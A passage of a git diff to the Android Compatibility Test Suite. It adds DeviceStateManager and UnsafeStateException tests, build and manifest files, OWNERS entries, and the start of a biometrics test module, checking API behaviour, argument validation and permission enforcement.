+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+        sDeviceState.tvProfile().start();
+
+        try {
+            BlockingBroadcastReceiver broadcastReceiver = sDeviceState.registerBroadcastReceiver(
+                    Intent.ACTION_PROFILE_INACCESSIBLE, userIsEqual(sDeviceState.tvProfile()));
+
+            assertThat(
+                    sActivityManager.stopProfile(sDeviceState.tvProfile().userHandle())).isTrue();
+            broadcastReceiver.awaitForBroadcast();
+
+            assertThat(sUserManager.isUserRunning(sDeviceState.tvProfile().userHandle())).isFalse();
+        } finally {
+            sDeviceState.tvProfile().start();
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/UnsafeStateExceptionTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/UnsafeStateExceptionTest.java
new file mode 100644
index 0000000..16b9c59
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/UnsafeStateExceptionTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.devicepolicy.cts;
+
+import static android.app.admin.DevicePolicyManager.OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
+import static android.app.admin.DevicePolicyManager.OPERATION_SAFETY_REASON_NONE;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.admin.UnsafeStateException;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+// TODO(b/174859111): move to automotive-specific section
+@RunWith(BedsteadJUnit4.class)
+public final class UnsafeStateExceptionTest {
+
+    private static final int VALID_OPERATION = Integer.MAX_VALUE; // Value doesn't really matter...
+
+    @Test
+    @Postsubmit(reason="b/181207615 flaky")
+    public void testValidReason_drivingDistraction() {
+        assertExceptionWithValidReason(OPERATION_SAFETY_REASON_DRIVING_DISTRACTION);
+    }
+
+    @Test
+    @Postsubmit(reason="b/181207615 flaky")
+    public void testInvalidReason_none() {
+        assertExceptionWithInvalidReason(OPERATION_SAFETY_REASON_NONE);
+    }
+
+    @Test
+    @Postsubmit(reason="b/181207615 flaky")
+    public void testInvalidReason_arbitrary() {
+        assertExceptionWithInvalidReason(0);
+        assertExceptionWithInvalidReason(42);
+        assertExceptionWithInvalidReason(108);
+        assertExceptionWithInvalidReason(Integer.MIN_VALUE);
+        assertExceptionWithInvalidReason(Integer.MAX_VALUE);
+    }
+
+    private void assertExceptionWithValidReason(int reason) {
+        UnsafeStateException exception = new UnsafeStateException(VALID_OPERATION, reason);
+
+        assertWithMessage("operation").that(exception.getOperation()).isEqualTo(VALID_OPERATION);
+        assertWithMessage("reasons").that(exception.getReasons()).containsExactly(reason);
+    }
+
+    private void assertExceptionWithInvalidReason(int reason) {
+        assertThrows(IllegalArgumentException.class,
+                () -> new UnsafeStateException(VALID_OPERATION, reason));
+    }
+}
diff --git a/tests/devicestate/Android.bp b/tests/devicestate/Android.bp
new file mode 100644
index 0000000..568e360
--- /dev/null
+++ b/tests/devicestate/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsDeviceStateManagerTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "mockito-target-minus-junit4",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/devicestate/AndroidManifest.xml b/tests/devicestate/AndroidManifest.xml
new file mode 100644
index 0000000..e3ed8d1
--- /dev/null
+++ b/tests/devicestate/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.hardware.devicestate.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:label="CTS tests for the DeviceStateManager Framework APIs."
+                     android:targetPackage="android.hardware.devicestate.cts">
+    </instrumentation>
+</manifest>
diff --git a/tests/devicestate/AndroidTest.xml b/tests/devicestate/AndroidTest.xml
new file mode 100644
index 0000000..ca0266c
--- /dev/null
+++ b/tests/devicestate/AndroidTest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for DeviceStateManager Framework CTS tests.">
+    <option name="test-suite-tag" value="cts" />
+
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsDeviceStateManagerTestCases.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.hardware.devicestate.cts" />
+        <option name="isolated-storage" value="false" />
+    </test>
+
+    <!-- Collect the files generated on error -->
+    <metrics_collector class="com.android.tradefed.device.metric.FilePullerLogCollector">
+        <option name="directory-keys" value="/sdcard/CtsDeviceStateManagerTestCases" />
+        <option name="collect-on-run-ended-only" value="true" />
+        <option name="clean-up" value="false" />
+    </metrics_collector>
+</configuration>
diff --git a/tests/devicestate/OWNERS b/tests/devicestate/OWNERS
new file mode 100644
index 0000000..8150657
--- /dev/null
+++ b/tests/devicestate/OWNERS
@@ -0,0 +1,7 @@
+# Bug component: 943781
+
+ogunwale@google.com
+akulian@google.com
+darryljohnson@google.com
+santoscordon@google.com
+michaelwr@google.com
diff --git a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTestBase.java b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTestBase.java
new file mode 100644
index 0000000..95b7d9f
--- /dev/null
+++ b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTestBase.java
@@ -0,0 +1,220 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.devicestate.cts;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static android.hardware.devicestate.cts.DeviceStateUtils.assertValidState;
+import static android.hardware.devicestate.DeviceStateManager.MAXIMUM_DEVICE_STATE;
+import static android.hardware.devicestate.DeviceStateManager.MINIMUM_DEVICE_STATE;
+
+import static org.junit.Assert.assertTrue;
+
+import android.hardware.devicestate.DeviceStateManager;
+import android.hardware.devicestate.DeviceStateRequest;
+import androidx.annotation.CallSuper;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.ThrowingRunnable;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+import javax.annotation.concurrent.GuardedBy;
+
+/**
+ * Abstract base class for {@link DeviceStateManager} CTS tests.
+ */
+@RunWith(AndroidJUnit4.class)
+public abstract class DeviceStateManagerTestBase {
+    static final int CALLBACK_TIMEOUT_MS = 1000;
+
+    private DeviceStateManager mDeviceStateManager;
+
+    @CallSuper
+    @Before
+    public void setup() {
+        mDeviceStateManager = getInstrumentation().getTargetContext()
+                .getSystemService(DeviceStateManager.class);
+    }
+
+    /** Returns an instance of {@link DeviceStateManager} for use in tests. */
+    @NonNull
+    DeviceStateManager getDeviceStateManager() {
+        if (mDeviceStateManager == null) {
+            // called before setup();
+            throw new IllegalStateException();
+        }
+        return mDeviceStateManager;
+    }
+
+    /**
+     * Runs the supplied {@code Runnable} ensuring the {@code request} is active during execution.
+     * If the request becomes suspended or canceled before or during runnable execution a
+     * {@link java.lang.InterruptedException} will be thrown.
+     */
+    protected final void runWithRequestActive(@NonNull DeviceStateRequest request,
+            @NonNull Runnable runnable) throws Throwable {
+        final UncaughtExceptionHandler exceptionHandler = new UncaughtExceptionHandler();
+        final RequestAwareThread thread = new RequestAwareThread(request, runnable);
+        thread.setUncaughtExceptionHandler(exceptionHandler);
+        try (DeviceStateRequestSession session
+                     = new DeviceStateRequestSession(mDeviceStateManager, request, thread)) {
+            // Set the exception handler to get the exception and rethrow.
+            thread.start();
+            // Wait for the request aware thread to finish executing the runnable. If the request
+            // is suspended or canceled this method will throw an InterruptedException.
+            thread.join();
+        }
+
+        // Rethrow any exceptions from the runnable.
+        final Throwable t = exceptionHandler.getThrowable();
+        if (t != null) {
+            throw t;
+        }
+    }
+
+    /**
+     * An implementation of {@link Thread} that listens to changes in a request state and
+     * automatically interrupts if the request is suspended or canceled while the thread
+     * is running.
+     */
+    private static final class RequestAwareThread extends Thread
+            implements DeviceStateRequest.Callback {
+        private final Object mLock = new Object();
+
+        private final CountDownLatch mActiveLatch = new CountDownLatch(1);
+
+        @NonNull
+        private final DeviceStateRequest mRequest;
+        @NonNull
+        private final Runnable mRunnable;
+
+        @GuardedBy("mLock")
+        private boolean mIsRunning;
+        @GuardedBy("mLock")
+        private boolean mWasSuspendedOrCanceled;
+
+        private RequestAwareThread(@NonNull DeviceStateRequest request,
+                @NonNull Runnable runnable) {
+            mRequest = request;
+            mRunnable = runnable;
+        }
+
+        @Override
+        public void run() {
+            // Wait for the request to be active.
+            boolean success;
+            try {
+                success = mActiveLatch.await(CALLBACK_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                // This thread was interrupted while waiting for the callback.
+                success = false;
+            }
+            if (!success) {
+                throw new RuntimeException("Timed out waiting for " + toString(mRequest)
+                        + " to become active.");
+            }
+            synchronized (mLock) {
+                if (mWasSuspendedOrCanceled) {
+                    interrupt();
+                    return;
+                }
+                mIsRunning = true;
+            }
+            try {
+                mRunnable.run();
+            } finally {
+                synchronized (mLock) {
+                    mIsRunning = false;
+                }
+            }
+        }
+
+        @Override
+        public void onRequestActivated(@NonNull DeviceStateRequest request) {
+            if (!request.equals(mRequest)) {
+                return;
+            }
+
+            mActiveLatch.countDown();
+        }
+
+        @Override
+        public void onRequestSuspended(@NonNull DeviceStateRequest request) {
+            if (!request.equals(mRequest)) {
+                return;
+            }
+
+            synchronized (mLock) {
+                mWasSuspendedOrCanceled = true;
+                interruptIfRunningLocked();
+            }
+        }
+
+        @Override
+        public void onRequestCanceled(@NonNull DeviceStateRequest request) {
+            if (!request.equals(mRequest)) {
+                return;
+            }
+
+            synchronized (mLock) {
+                mWasSuspendedOrCanceled = true;
+                interruptIfRunningLocked();
+            }
+        }
+
+        private void interruptIfRunningLocked() {
+            if (mIsRunning) {
+                // Interrupt this thread if the runnable is still running and the request was
+                // cancelled or suspended.
+                interrupt();
+            }
+        }
+
+        private static String toString(@NonNull DeviceStateRequest request) {
+            return "DeviceStateRequest{state=" + request.getState() + ", flags="
+                    + request.getFlags() + "}";
+        }
+    }
+
+    /**
+     * An implementation of {@link Thread.UncaughtExceptionHandler} that simply stores the latest
+     * notified uncaught exception.
+     */
+    private static final class UncaughtExceptionHandler implements Thread.UncaughtExceptionHandler {
+        @Nullable
+        private Throwable mThrowable;
+
+        @Override
+        public void uncaughtException(Thread t, Throwable e) {
+            mThrowable = e;
+        }
+
+        @Nullable
+        public Throwable getThrowable() {
+            return mThrowable;
+        }
+    }
+}
diff --git a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java
new file mode 100644
index 0000000..f67c5cd
--- /dev/null
+++ b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateManagerTests.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.devicestate.cts;
+
+import static android.hardware.devicestate.cts.DeviceStateUtils.assertValidState;
+import static android.hardware.devicestate.cts.DeviceStateUtils.runWithControlDeviceStatePermission;
+import static android.hardware.devicestate.DeviceStateManager.MAXIMUM_DEVICE_STATE;
+import static android.hardware.devicestate.DeviceStateManager.MINIMUM_DEVICE_STATE;
+
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.hardware.devicestate.DeviceStateManager;
+import android.hardware.devicestate.DeviceStateRequest;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import org.mockito.ArgumentCaptor;
+
+/** CTS tests for {@link DeviceStateManager} API(s). */
+@RunWith(AndroidJUnit4.class)
+public class DeviceStateManagerTests extends DeviceStateManagerTestBase {
+    /**
+     * Tests that {@link DeviceStateManager#getSupportedStates()} returns at least one state and
+     * that none of the returned states are in the range
+     * [{@link #MINIMUM_DEVICE_STATE}, {@link #MAXIMUM_DEVICE_STATE}].
+     */
+    @Test
+    public void testValidSupportedStates() throws Exception {
+        final int[] supportedStates = getDeviceStateManager().getSupportedStates();
+        assertTrue(supportedStates.length > 0);
+
+        for (int i = 0; i < supportedStates.length; i++) {
+            final int state = supportedStates[i];
+            assertValidState(state);
+        }
+    }
+
+    /**
+     * Tests that calling {@link DeviceStateManager#requestState(DeviceStateRequest, Executor,
+     * DeviceStateRequest.Callback)} is successful and results in a registered callback being
+     * triggered with a value equal to the requested state.
+     */
+    @Test
+    public void testRequestAllSupportedStates() throws Throwable {
+        final ArgumentCaptor<Integer> intAgumentCaptor = ArgumentCaptor.forClass(Integer.class);
+        final DeviceStateManager.DeviceStateCallback callback
+                = mock(DeviceStateManager.DeviceStateCallback.class);
+        final DeviceStateManager manager = getDeviceStateManager();
+        manager.registerCallback(Runnable::run, callback);
+
+        final int[] supportedStates = manager.getSupportedStates();
+        for (int i = 0; i < supportedStates.length; i++) {
+            final DeviceStateRequest request
+                    = DeviceStateRequest.newBuilder(supportedStates[i]).build();
+
+            runWithRequestActive(request, () -> {
+                verify(callback, atLeastOnce()).onStateChanged(intAgumentCaptor.capture());
+                assertEquals(intAgumentCaptor.getValue().intValue(), request.getState());
+            });
+        }
+    }
+
+    /**
+     * Tests that calling {@link DeviceStateManager#requestState(DeviceStateRequest, Executor,
+     * DeviceStateRequest.Callback)} throws an {@link java.lang.IllegalArgumentException} if
+     * supplied with a state above {@link MAXIMUM_DEVICE_STATE}.
+     */
+    @Test(expected = IllegalArgumentException.class)
+    public void testRequestStateTooLarge() throws Throwable {
+        final DeviceStateManager manager = getDeviceStateManager();
+        final DeviceStateRequest request
+                = DeviceStateRequest.newBuilder(MAXIMUM_DEVICE_STATE + 1).build();
+        runWithControlDeviceStatePermission(() -> manager.requestState(request, null, null));
+    }
+
+    /**
+     * Tests that calling {@link DeviceStateManager#requestState(DeviceStateRequest, Executor,
+     * DeviceStateRequest.Callback)} throws an {@link java.lang.IllegalArgumentException} if
+     * supplied with a state below {@link MINIMUM_DEVICE_STATE}.
+     */
+    @Test(expected = IllegalArgumentException.class)
+    public void testRequestStateTooSmall() throws Throwable {
+        final DeviceStateManager manager = getDeviceStateManager();
+        final DeviceStateRequest request
+                = DeviceStateRequest.newBuilder(MINIMUM_DEVICE_STATE - 1).build();
+        runWithControlDeviceStatePermission(() -> manager.requestState(request, null, null));
+    }
+
+    /**
+     * Tests that calling {@link DeviceStateManager#requestState()} throws a
+     * {@link java.lang.SecurityException} without the
+     * {@link android.Manifest.permission.CONTROL_DEVICE_STATE} permission held.
+     */
+    @Test(expected = SecurityException.class)
+    public void testRequestStateWithoutPermission() {
+        final DeviceStateManager manager = getDeviceStateManager();
+        final int[] states = manager.getSupportedStates();
+        final DeviceStateRequest request = DeviceStateRequest.newBuilder(states[0]).build();
+        manager.requestState(request, null, null);
+    }
+
+    /**
+     * Tests that calling {@link DeviceStateManager#cancelRequest()} throws a
+     * {@link java.lang.SecurityException} without the
+     * {@link android.Manifest.permission.CONTROL_DEVICE_STATE} permission held.
+     */
+    @Test(expected = SecurityException.class)
+    public void testCancelRequestWithoutPermission() throws Throwable {
+        final DeviceStateManager manager = getDeviceStateManager();
+        final int[] states = manager.getSupportedStates();
+        final DeviceStateRequest request = DeviceStateRequest.newBuilder(states[0]).build();
+        runWithRequestActive(request, () -> {
+            manager.cancelRequest(request);
+        });
+    }
+
+    /**
+     * Tests that callbacks added with {@link DeviceStateManager#registerDeviceStateCallback()} are
+     * supplied with an initial callback that contains the state at the time of registration.
+     */
+    @Test
+    public void testRegisterCallbackSuppliesInitialValue() throws InterruptedException {
+        final ArgumentCaptor<int[]> intArrayAgumentCaptor = ArgumentCaptor.forClass(int[].class);
+        final ArgumentCaptor<Integer> intAgumentCaptor = ArgumentCaptor.forClass(Integer.class);
+
+        final DeviceStateManager.DeviceStateCallback callback
+                = mock(DeviceStateManager.DeviceStateCallback.class);
+        final DeviceStateManager manager = getDeviceStateManager();
+        manager.registerCallback(Runnable::run, callback);
+
+        verify(callback, timeout(CALLBACK_TIMEOUT_MS)).onStateChanged(intAgumentCaptor.capture());
+        assertValidState(intAgumentCaptor.getValue().intValue());
+
+        verify(callback, timeout(CALLBACK_TIMEOUT_MS))
+                .onBaseStateChanged(intAgumentCaptor.capture());
+        assertValidState(intAgumentCaptor.getValue().intValue());
+
+        verify(callback, timeout(CALLBACK_TIMEOUT_MS))
+                .onSupportedStatesChanged(intArrayAgumentCaptor.capture());
+        final int[] supportedStates = intArrayAgumentCaptor.getValue();
+        assertTrue(supportedStates.length > 0);
+        for (int i = 0; i < supportedStates.length; i++) {
+            final int state = supportedStates[i];
+            assertValidState(state);
+        }
+    }
+}
diff --git a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateRequestSession.java b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateRequestSession.java
new file mode 100644
index 0000000..a45d5cb
--- /dev/null
+++ b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateRequestSession.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.devicestate.cts;
+
+import static android.hardware.devicestate.cts.DeviceStateUtils.runWithControlDeviceStatePermission;
+
+import android.hardware.devicestate.DeviceStateManager;
+import android.hardware.devicestate.DeviceStateRequest;
+import androidx.annotation.NonNull;
+
+/**
+ * An implementation of {@link java.lang.AutoCloseable} that submits a request to override the
+ * device state using the provided {@link DeviceStateRequest} and automatically cancels the request
+ * on a call to {@link #close()}.
+ */
+public final class DeviceStateRequestSession implements AutoCloseable {
+    @NonNull
+    private final DeviceStateManager mDeviceStateManager;
+    @NonNull
+    private final DeviceStateRequest mRequest;
+    @NonNull
+    private DeviceStateRequest.Callback mCallback;
+
+    public DeviceStateRequestSession(@NonNull DeviceStateManager manager,
+            @NonNull DeviceStateRequest request, @NonNull DeviceStateRequest.Callback callback) {
+        mDeviceStateManager = manager;
+        mRequest = request;
+        mCallback = callback;
+
+        submitRequest(request);
+    }
+
+    private void submitRequest(@NonNull DeviceStateRequest request) {
+        try {
+            runWithControlDeviceStatePermission(() ->
+                    mDeviceStateManager.requestState(mRequest, Runnable::run, mCallback));
+        } catch (Throwable t) {
+            throw new RuntimeException(t);
+        }
+    }
+
+    @Override
+    public void close() {
+        try {
+            runWithControlDeviceStatePermission(() ->
+                    mDeviceStateManager.cancelRequest(mRequest));
+        } catch (Throwable t) {
+            throw new RuntimeException(t);
+        }
+    }
+}
diff --git a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateUtils.java b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateUtils.java
new file mode 100644
index 0000000..df97832
--- /dev/null
+++ b/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateUtils.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.devicestate.cts;
+
+import static android.hardware.devicestate.DeviceStateManager.MAXIMUM_DEVICE_STATE;
+import static android.hardware.devicestate.DeviceStateManager.MINIMUM_DEVICE_STATE;
+
+import static org.junit.Assert.assertTrue;
+
+import androidx.annotation.NonNull;
+
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.ThrowingRunnable;
+
+/** Utility methods for {@DeviceStateManager} CTS tests. */
+public final class DeviceStateUtils {
+    /**
+     * Runs the supplied {@code runnable} with the
+     * {@link android.Manifest.permission.CONTROL_DEVICE_STATE} permission held.
+     *
+     * @throws Throwable if the runnable throws an exception during execution.
+     */
+    public static void runWithControlDeviceStatePermission(@NonNull ThrowingRunnable runnable)
+            throws Throwable {
+        try {
+            SystemUtil.runWithShellPermissionIdentity(runnable,
+                    android.Manifest.permission.CONTROL_DEVICE_STATE);
+        } catch (RuntimeException e) {
+            // runWithShellPermissionIdentity() wraps exceptions thrown by the underlying runnable
+            // in runtime exceptions.
+            Throwable t = e.getCause();
+            if (t != null) {
+                throw t;
+            }
+            throw e;
+        }
+    }
+
+    /**
+     * Asserts that the provided {@code state} is in the range
+     * [{@link MINIMUM_DEVICE_STATE}, {@link MAXIMUM_DEVICE_STATE}].
+     */
+    public static void assertValidState(int state) {
+        assertTrue(state >= MINIMUM_DEVICE_STATE);
+        assertTrue(state <= MAXIMUM_DEVICE_STATE);
+    }
+
+    private DeviceStateUtils() {}
+}
diff --git a/tests/fragment/AndroidManifest.xml b/tests/fragment/AndroidManifest.xml
index 447f9a8..9a16a60 100644
--- a/tests/fragment/AndroidManifest.xml
+++ b/tests/fragment/AndroidManifest.xml
@@ -13,29 +13,31 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.fragment.cts"
-    android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.fragment.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name=".FragmentTestActivity">
+        <activity android:name=".FragmentTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".LoaderActivity"/>
-        <activity android:name=".NewIntentActivity" android:launchMode="singleInstance" />
+        <activity android:name=".NewIntentActivity"
+             android:launchMode="singleInstance"/>
         <activity android:name=".ConfigOnStopActivity"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.fragment.cts"
-                     android:label="CTS tests of android.app Fragments" />
+         android:targetPackage="android.fragment.cts"
+         android:label="CTS tests of android.app Fragments"/>
 
 </manifest>
-
diff --git a/tests/fragment/sdk26/Android.bp b/tests/fragment/sdk26/Android.bp
index 7408302..c4be694 100644
--- a/tests/fragment/sdk26/Android.bp
+++ b/tests/fragment/sdk26/Android.bp
@@ -34,5 +34,7 @@
         "general-tests",
     ],
 
-    sdk_version: "26",
+    sdk_version: "30",
+    min_sdk_version: "26",
+    target_sdk_version: "26",
 }
diff --git a/tests/framework/base/OWNERS b/tests/framework/base/OWNERS
index a4fd3a5..f204dab 100644
--- a/tests/framework/base/OWNERS
+++ b/tests/framework/base/OWNERS
@@ -7,3 +7,9 @@
 akulian@google.com
 roosa@google.com
 takaoka@google.com
+
+# Biometrics
+kchyn@google.com
+
+# Suggestions
+tmfang@google.com
diff --git a/tests/framework/base/biometrics/Android.bp b/tests/framework/base/biometrics/Android.bp
new file mode 100644
index 0000000..6037de4
--- /dev/null
+++ b/tests/framework/base/biometrics/Android.bp
@@ -0,0 +1,61 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsBiometricsTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    compile_multilib: "both",
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "cts-input-lib",
+        "cts-wm-util",
+        "ctstestrunner-axt",
+        "mockito-target-minus-junit4",
+        "platform-test-annotations",
+        "platformprotosnano",
+        "ub-uiautomator",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+}
+
+java_test_helper_library {
+    name: "cts-biometric-util",
+
+    static_libs: [
+        "androidx.annotation_annotation",
+        "cts-wm-util",
+    ],
+
+    srcs: [
+        "src/android/server/biometrics/BiometricCallbackHelper.java",
+        "src/android/server/biometrics/fingerprint/FingerprintCallbackHelper.java",
+    ],
+}
diff --git a/tests/framework/base/biometrics/AndroidManifest.xml b/tests/framework/base/biometrics/AndroidManifest.xml
new file mode 100644
index 0000000..67a070d
--- /dev/null
+++ b/tests/framework/base/biometrics/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
